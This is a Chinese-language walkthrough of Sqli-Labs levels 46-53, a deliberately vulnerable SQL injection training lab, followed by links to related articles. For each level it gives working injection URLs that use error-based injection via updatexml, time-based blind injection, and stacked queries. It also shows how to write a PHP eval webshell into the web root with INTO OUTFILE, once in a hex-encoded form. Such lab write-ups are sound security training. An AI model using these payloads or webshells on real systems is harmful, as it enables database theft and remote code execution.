Sqli-Labs less46-53
less-46
前置基础知识:
select * from users order by 1 desc ;使用降序(倒序)排列
select * from users order by 1 asc ;使用升序(正序)排列
select right(database(),1);从右至左输出第一个字母
select lesft(database(),1);从左至右输出第一个字母
lines terminated by 666 每行输出以666结尾
第46关和之前的不同/根据提示可以看到让输入sort,观察源码并加上输出语句,实际上输入查询的还是id:
然后输出?sort=1可以得出user表的信息,并可以排序:http://192.168.0.106:300/Less-46/?sort=1 desc
下面通过两种办法拿到数据库的其他信息:
第一种办法:报错注入
http://192.168.0.106:300/Less-46/?sort=1 and updatexml (1, concat(0x7e,database()) ,1)
其他省略
第二种办法:延时注入
http://192.168.0.106:300/Less-46/?sort=1 and if(length(database())=8 ,1,sleep(5))
二种办法都可以在database()处构造语句。
less-47
基本与46关相同,就是order by ‘1’
闭合的sql语句变成了:
第一种办法:报错注入
http://192.168.0.106:300/Less-47/?sort=1‘ and updatexml (1, concat(0x7e,database()) ,1) --+
第二种办法:延时注入
http://192.168.0.106:300/Less-47/?sort=1’ and if(length(database())=8 ,1,sleep(5))--+
less-48
基本与46关相同,但是这一关没有错误的回显,所以只能用盲注的办法:
延时盲注
http://192.168.0.106:300/Less-48/?sort=1 and if(length(database())=8 ,1,sleep(5))
先判断长度,再判断内容,以下省略
less-49
基本与46关相同,就是order by ‘1’,然后不显示报错,所以也可以用盲注的办法:
延时注入
http://192.168.0.106:300/Less-49/?sort=1‘ and if(length(database())=8 ,1,sleep(5)) --+
其他步骤相同
less46-49的其他打开方式:使用函数写入一句话木马
这里以46关为例,我们首先使用outfile函数:
http://192.168.0.105/sqli-labs/Less-46/?sort=1 and (select '<php @eval($_POST["crow"];?>') into outfile 'C:\\PhpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-46\\mm.php' --+
可以看到文件虽然已经有了,但是并没有一句话木马,所以也不能使用菜刀链接。
但是我们现在可以使用文章开头提到的line terminal by 语句进行输入:(最后是一句话16进制形式)
http://192.168.0.105/sqli-labs/Less-46/?sort=1 into outfile 'C:\\PhpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-46\\mm2.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e
可以看到,输出的每一行都写入了一句话木马,这样就可以用菜刀进行连接。
less-50
这一关大同小异:
方法一:延时注入
方法二:报错注入
方法三:写入一句话木马 以上三种方法参考上面。
方法四:使用堆叠注入创建新的users表:
http://192.168.0.105/sqli-labs/Less-50/?sort=1;create table hzk50 like users;insert into hzk50 select * from users;
方法五:使用堆叠注入写入一句话木马。
以上方法都可以,具体参考前几关的文章。
less-51
和50关基本相同,order by ’1‘语句数据包裹形式不同
方法一:延时注入
方法二:报错注入
方法三:写入一句话木马 以上三种方法参考上面。
方法四:使用堆叠注入创建新的users表。
方法五:使用堆叠注入写入一句话木马。
less-52
和50关基本相同,但是输出报错信息,所以不能用报错注入。
方法一:延时注入
方法二:写入一句话木马 以上三种方法参考上面。
方法三:使用堆叠注入创建新的users表。
方法四:使用堆叠注入写入一句话木马。
less-53
和50关基本相同,order by ’1‘语句数据包裹形式不同,而且没有输出报错信息的语句,所以不能用报错注入。
方法一:延时注入
方法二:写入一句话木马 以上三种方法参考上面。
方法三:使用堆叠注入创建新的users表。
方法四:使用堆叠注入写入一句话木马。
Sqli-Labs less46-53的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- pybot参数
p.p1 { margin: 0; font: 12px "Helvetica Neue" } p.p2 { margin: 0; font: 12px "Helveti ...
- WPF教程四:字段、属性、依赖项属性的演变过程
这个章节主要讲解属性是什么,为什么会演变出依赖项属性,依赖属性的优势是什么.以及如何更好的使用属性和依赖项属性. 一.属性 属性是什么. 翻了好几本C#的书和微软的文档,我觉得对属性讲解比较好理解的就 ...
- 刷算法,这些api不可不知!
大家好,我是老三,最近在刷算法,发现有些api记得不熟,所以整理了一波,如果你也在刷题,赶紧收藏吧! 集合 在刷题中,各种数据结构是我们常常用到的,例如栈实现迭代.哈希存储键值对等等,我们来看看常用集 ...
- 高校表白App-团队冲刺第四天
今天要做什么 就如昨天所说,今天继续进行引导页制作的学习.并开始通过ViewPager做简单的布局与Activity. 遇到的问题 本来以为只是使用一个ViewPager控件就可以搞定,原来还是需要配 ...
- Javascript闭包解析----------------v客学院技术分享
跟java,php等编程语言一样,javascript也采用词法作用域,简单的来说就是函数的执行依赖于变量的作用域,这个作用域是在函数定义时决定的,而不是函数调用时决定的.为了实现这种词法作用域,还必 ...
- React构建组件的方式
一.是什么 组件就是把图形.非图形的各种逻辑均抽象为一个统一的概念(组件)来实现开发的模式 在React中,一个类.一个函数都可以视为一个组件 在Vue系列中,我们了解到组件所存在的优势: 降低整个系 ...
- 微信小程序云开发-云存储的应用-识别驾驶证
一.准备工作 1.创建云函数identify 2.云函数identify中index.js代码 1 // 云函数入口文件 2 const cloud = require('wx-server-sdk' ...
- Python 高级特性(2)- 迭代
前置知识 如果给定一个 list 或 tuple,我们可以通过 for 循环来遍历这个 lis t或 tuple,这种遍历我们称为迭代(Iteration) 在 Python 中,迭代是通过 for ...
- 如何在 PyCharm 中设置 Python 代码模板
#!/usr/bin/env python # -*- coding: utf-8 -*- # Created by iFantastic on $DATE if __name__ == '__mai ...
- 从redis数据库取数据存放到本地mysql数据库
redis数据库属于非关系型数据库,数据存放在内存堆栈中,效率比较高. 其存储数据是以json格式字符串存储字典的,而类似的关系型数据库无法实现这种数据的存储. 在爬取数据时,将数据暂存到redis中 ...